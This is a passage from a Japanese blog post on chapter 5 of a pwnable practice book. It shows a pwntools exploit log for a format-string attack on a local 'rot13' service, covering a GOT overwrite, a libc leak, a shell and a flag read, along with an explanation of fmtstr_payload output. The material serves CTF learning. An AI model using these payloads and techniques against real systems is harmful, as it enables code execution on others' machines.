    SHSTK:      Enabled
    IBT:        Enabled
[+] Opening connection to localhost on port 10004: Done
[DEBUG] Sent 0x41 bytes:
    00000000  25 32 32 35  70 25 31 33  24 79 79 61  25 34 38 70  x%225xp%13x$yyax%48px
    00000010  25 31 34 24  75 75 61 25  34 37 70 25  31 35 24 75  x%14$xuua%x47p%x15$ux
    00000020  75 61 6e 6e  6e 6e 6f 6e  18 40 40 00  00 00 00 00  xuannxnnonx·@@·x····x
    00000030  19 40 40 00  00 00 00 00  1a 40 40 00  00 00 00 00  x·@@·x····x·@@·x····x
    00000040  0a                                                  x·x
    00000041
[DEBUG] Sent 0x11 bytes:
    00000000  6f 6f 6f 6f  25 39 24 66  40 40 40 00  00 00 00 00  xoooox%9$fx@@@·x····x
    00000010  0a                                                  x·x
    00000011
[DEBUG] Received 0x156 bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    000000e0  03 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x·   x    x    x    x
    000000f0  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    00000110  00 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x·   x    x    x    x
    00000120  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    00000130  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 b2  x    x    x    x   ·x
    00000140  61 61 61 61  62 61 18 40  40 62 62 62  62 60 ae 75  xaaaaxba·@x@bbbxb`·ux
    00000150  06 52 7f 40  40 40                                  x·R·@x@@x
    00000156
[*] addr_libc_base = 0x7f52066d3000, addr_libc_setvbuf=0x7f520675ae60, addr_libc_system=0x7f5206728410
[DEBUG] Sent 0x61 bytes:
    00000000  25 31 36 70  25 31 35 24  79 79 61 25  36 36 70 25  x%16px%15$xyya%x66p%x
    00000010  31 36 24 75  75 61 25 34  35 70 25 31  37 24 75 75  x16$uxua%4x5p%1x7$uux
    00000020  61 25 35 70  25 31 38 24  75 75 61 25  31 35 31 38  xa%5px%18$xuua%x1518x
    00000030  70 25 31 39  24 75 61 6e  28 40 40 00  00 00 00 00  xp%19x$uanx(@@·x····x
    00000040  2c 40 40 00  00 00 00 00  2d 40 40 00  00 00 00 00  x,@@·x····x-@@·x····x
    00000050  29 40 40 00  00 00 00 00  2a 40 40 00  00 00 00 00  x)@@·x····x*@@·x····x
    00000060  0a                                                  x·x
    00000061
[DEBUG] Sent 0x8 bytes:
    b'/ova/fu\n'
[*] Switching to interactive mode
@@@[DEBUG] Received 0x676 bytes:
    00000000  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 03  x    x    x    x   ·x
    00000010  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    00000050  20 00 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x ·  x    x    x    x
    00000060  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    00000070  20 20 20 20  20 20 20 20  20 20 20 20  20 20 b2 20  x    x    x    x  · x
    00000080  20 20 20 60  20 20 20 20  20 20 20 20  20 20 20 20  x   `x    x    x    x
    00000090  20 20 20 20  20 20 20 20  20 20 20 20  20 20 20 20  x    x    x    x    x
    *
    00000670  20 00 61 28  40 40                                  x ·a(x@@x
    00000676
               \x03                                                                 \x00                                            \xb2    `                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             \x00a(@@$                                                            l                                                                                                           ls                                                                                                          ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x18 bytes:
    b'flag.txt\n'
    b'rot13\n'
    b'rot13.sh\n'
flag.txt
rot13
rot13.sh
$ cat flag.txt
[DEBUG] Sent 0xd bytes:
    b'cat flag.txt\n'
[DEBUG] Received 0x17 bytes:
    b'FLAG{DnN4K7ZqwHrU6lOE}\n'
FLAG{DnN4K7ZqwHrU6lOE}
$
[*] Closed connection to localhost port 10004

rot13 Submit
rot13 Submit

pwntoolsのfmtstr_payloadの出力を確認する

以前も一度使いましたが、今回から、pwntools の fmtstr_payload を使っていくことにしました。そこで、fmtstr_payload の出力を確認してみました。

一番最初の書式文字列攻撃の %17c%11$hhn%208c%12$hhn のうち、前半部分だけ、fmtstr_payload の結果を解析してみます。

fmtstr_payloadを使う場合、'%17c%11$hhn' は、fmtstr_payload(offset=8, writes={addr_got_puts: addr_main}, numbwritten=0, write_size="byte") となります。

offset は、今回の printf関数で出力するバッファが、引数の何番目になるかのオフセットで、writes の辞書は、書き換えたいアドレスをキーにして、書き換えたい値を設定します。numbwritten は、既に出力したバイト数なので、今回は 0 です。write_size は、何バイトずつ書き込むかを指定できて、int(4byte)、short(2byte)、byte(1byte)が指定できます。

fmtstr_payload の出力は、b'%225c%13$lln%48c%14$hhn%47c%15$hhnaaaaba\x18@@\x00\x00\x00\x00\x00\x19@@\x00\x00\x00\x00\x00\x1a@@\x00\x00\x00\x00\x00' でした。

一応、225=0xe1225+48=0x111225+48+47=0x140 です。また、後半のアドレスは、0x4040180x4040190x40401a です。最初の ll は8byteを0で初期化するためだと思います。次の 0x111 の上位バイトは、hhn なので、たぶん、無視されることを利用しているんだと思います。次の 0x140 も同じです。

今後は、fmtstr_payload を使っていくことにします。

5.2:書式文字列攻撃

ここでは、書式文字列攻撃の理論的なことが解説されています。基本的なところから丁寧に解説されていますが、ここでは割愛します。

5.3:攻略

気になる模範解答です。

main関数に戻し、libc のアドレスをリークし、最後は、One-gadget RCE を使っていました。ただし、main関数に戻る書き込みと、libc のアドレスリークは、1回の書式文字列攻撃で行っていました。なるほどです。

libc のアドレスリークについては、私は、setvbuf関数の GOT を読み出しましたが、模範解答では、GOT でもいいが、対象のアドレスをバッファに置く必要があり、その引数の位置を指定するという方法より簡単な方法があると説明されています。スタックに存在する libc のアドレスを読み出せば、バッファにアドレスを置く手間が省けると言っています。具体的には、main関数のリターンアドレスを読み出す方が簡単だと言っています。main関数は、libc の __libc_start_main() から call されているので、その次のアドレスが読み出せれば、libc のベースアドレスを求めることが出来ます。確かにそうですね。

5.4:Stack-smashing protection

Stack-smashing protection について、丁寧に説明されています。略して、SSP と呼ばれたり、スタックカナリアと呼ばれたりします。ここでは、割愛します。

以上で、第5章「rot13(書式文字列攻撃)」は終了です。

おわりに

引き続き、「解題pwnable セキュリティコンテストに挑戦しよう! 技術の泉シリーズ (技術の泉シリーズ(NextPublishing))」を読み進めています。今回は、第5章「rot13(書式文字列攻撃)」をやりました。

次回は、第6章「birdcage(関数テーブルの書き換えによる攻撃)」を進める予定です。

最後になりましたが、エンジニアグループのランキングに参加中です。

気楽にポチッとよろしくお願いいたします🙇

今回は以上です!

最後までお読みいただき、ありがとうございました。




以上の内容はhttps://daisuke20240310.hatenablog.com/entry/kaidai_5より取得しました。
このページはhttp://font.textar.tv/のウェブフォントを使用してます

不具合報告/要望等はこちらへお願いします。
モバイルやる夫Viewer Ver0.14